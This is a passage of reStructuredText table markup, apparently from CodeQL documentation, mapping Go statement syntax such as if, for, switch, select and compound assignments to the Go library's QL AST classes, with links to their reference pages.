ExprStmt_ | | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _ExprStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$ExprStmt.html | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``{`` Stmt_ ``...`` ``}`` | BlockStmt_ | | | -| | | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | .. _BlockStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BlockStmt.html | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``if`` Expr_ BlockStmt_ | IfStmt_ | | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _IfStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$IfStmt.html | | | -| .. _BlockStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BlockStmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``if`` Expr_ BlockStmt_ ``else`` Stmt_ | | | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | | | -| .. _BlockStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BlockStmt.html | | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``if`` Stmt_\ ``;`` Expr_ BlockStmt_ | | | | -| | | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | | | -| .. _BlockStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BlockStmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``for`` Expr_ BlockStmt_ | ForStmt_ | LoopStmt_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _ForStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$ForStmt.html | .. _LoopStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$LoopStmt.html | | -| .. _BlockStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BlockStmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``for`` Stmt_\ ``;`` Expr_\ ``;`` Stmt_ BlockStmt_ | | | | -| | | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -| .. _BlockStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BlockStmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``for`` Expr_ ``...`` ``=`` ``range`` Expr_ BlockStmt_ | RangeStmt_ | LoopStmt_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _RangeStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$RangeStmt.html | .. _LoopStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$LoopStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | | | -| .. _BlockStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BlockStmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``switch`` Expr_ ``{`` CaseClause_ ``...`` ``}`` | ExpressionSwitchStmt_ | SwitchStmt_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _ExpressionSwitchStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$ExpressionSwitchStmt.html | .. _SwitchStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$SwitchStmt.html | | -| .. _CaseClause: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CaseClause.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``switch`` Stmt_\ ``;`` Expr_ ``{`` CaseClause_ ``...`` ``}`` | | | | -| | | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | | | -| .. _CaseClause: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CaseClause.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``switch`` Expr_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | TypeSwitchStmt_ | SwitchStmt_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _TypeSwitchStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$TypeSwitchStmt.html | .. _SwitchStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$SwitchStmt.html | | -| .. _CaseClause: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CaseClause.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``switch`` SimpleAssignStmt_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | | | | -| | | | | -| .. _SimpleAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$SimpleAssignStmt.html | | | | -| .. _CaseClause: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CaseClause.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``switch`` Stmt_\ ``;`` Expr_\ ``.(type)`` ``{`` CaseClause_ ``...`` ``}`` | | | | -| | | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | | | -| .. _CaseClause: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CaseClause.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``select`` ``{`` CommClause_ ``...`` ``}`` | SelectStmt_ | | | -| | | | | -| .. _CommClause: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CommClause.html | .. _SelectStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$SelectStmt.html | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``return`` | ReturnStmt_ | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``return`` Expr_ ``...`` | .. _ReturnStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$ReturnStmt.html | | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``break`` | BreakStmt_ | BranchStmt_ | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``break`` LabelName_ | .. _BreakStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BreakStmt.html | .. _BranchStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BranchStmt.html | | -| | | | | -| .. _LabelName: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LabelName.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``continue`` | ContinueStmt_ | BranchStmt_ | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``continue`` LabelName_ | .. _ContinueStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$ContinueStmt.html | .. _BranchStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BranchStmt.html | | -| | | | | -| .. _LabelName: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LabelName.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``goto`` LabelName_ | GotoStmt_ | BranchStmt_ | | -| | | | | -| .. _LabelName: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LabelName.html | .. _GotoStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$GotoStmt.html | .. _BranchStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BranchStmt.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``fallthrough`` | FallthroughStmt_ | BranchStmt_ | can only occur as final non-empty child of a CaseClause_ in an ExpressionSwitchStmt_ | -| | | | | -| | .. _FallthroughStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$FallthroughStmt.html | .. _BranchStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$BranchStmt.html | .. _CaseClause: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CaseClause.html | -| | | | .. _ExpressionSwitchStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$ExpressionSwitchStmt.html | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| LabelName_\ ``:`` Stmt_ | LabeledStmt_ | | | -| | | | | -| .. _LabelName: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$LabelName.html | .. _LabeledStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$LabeledStmt.html | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``var`` VariableName_ TypeName_ | DeclStmt_ | | | -| | | | | -| .. _VariableName: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$VariableName.html | .. _DeclStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$DeclStmt.html | | | -| .. _TypeName: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeName.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``const`` VariableName_ ``=`` Expr_ | | | | -| | | | | -| .. _VariableName: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$VariableName.html | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``type`` TypeName_ TypeExpr_ | | | | -| | | | | -| .. _TypeName: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeName.html | | | | -| .. _TypeExpr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``type`` TypeName_ ``=`` TypeExpr_ | | | | -| | | | | -| .. _TypeName: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeName.html | | | | -| .. _TypeExpr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``...`` ``=`` Expr_ ``...`` | AssignStmt_ | SimpleAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _AssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$AssignStmt.html | .. _SimpleAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$SimpleAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| VariableName_ ``...`` ``:=`` Expr_ ``...`` | DefineStmt_ | SimpleAssignStmt_, Assignment_ | | -| | | | | -| .. _VariableName: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$VariableName.html | .. _DefineStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$DefineStmt.html | .. _SimpleAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$SimpleAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``+=`` Expr_ | AddAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _AddAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$AddAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``-=`` Expr_ | SubAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _SubAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$SubAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``*=`` Expr_ | MulAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _MulAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$MulAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``/=`` Expr_ | QuoAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _QuoAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$QuoAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``%=`` Expr_ | RemAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _RemAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$RemAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``*=`` Expr_ | MulAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _MulAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$MulAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``&=`` Expr_ | AndAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _AndAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$AndAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``|=`` Expr_ | OrAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _OrAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$OrAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``^=`` Expr_ | XorAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _XorAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$XorAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``<<=`` Expr_ | ShlAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _ShlAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$ShlAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``>>=`` Expr_ | ShrAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _ShrAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$ShrAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``&^=`` Expr_ | AndNotAssignStmt_ | CompoundAssignStmt_, Assignment_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _AndNotAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$AndNotAssignStmt.html | .. _CompoundAssignStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CompoundAssignStmt.html | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | .. _Assignment: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Assignment.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``++`` | IncStmt_ | IncDecStmt_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _IncStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$IncStmt.html | .. _IncDecStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$IncDecStmt.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``--`` | DecStmt_ | IncDecStmt_ | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _DecStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$DecStmt.html | .. _IncDecStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$IncDecStmt.html | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``go`` CallExpr_ | GoStmt_ | | | -| | | | | -| .. _CallExpr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$CallExpr.html | .. _GoStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$GoStmt.html | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``defer`` CallExpr_ | DeferStmt_ | | | -| | | | | -| .. _CallExpr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$CallExpr.html | .. _DeferStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$DeferStmt.html | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| Expr_ ``<-`` Expr_ | SendStmt_ | | | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _SendStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$SendStmt.html | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``case`` Expr_ ``...``\ ``:`` Stmt_ ``...`` | CaseClause_ | | can only occur as child of a SwitchStmt_ | -| | | | | -| .. _Expr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$Expr.html | .. _CaseClause: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$CaseClause.html | | .. _SwitchStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$SwitchStmt.html | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``case`` TypeExpr_ ``...``\ ``:`` Stmt_ ``...`` | | | | -| | | | | -| .. _TypeExpr: https://help.semmle.com/qldoc/go/semmle/go/Expr.qll/type.Expr$TypeExpr.html | | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+ | | | -| ``default:`` Stmt_ ``...`` | | | | -| | | | | -| .. _Stmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$Stmt.html | | | | -+-------------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+---------------------------------------------------------------------------------------------------------------+-------------------------------------------------------------------------------------------------------------------+ -| ``case`` SendStmt_\ ``:`` Stmt_ ``...`` | CommClause_ | | can only occur as child of a SelectStmt_ | -| | | | | -| .. _SendStmt: https://help.semmle.com/qldoc/go/semmle/go/Stmt.qll/type.Stmt$SendStmt.html | .. _CommClause: 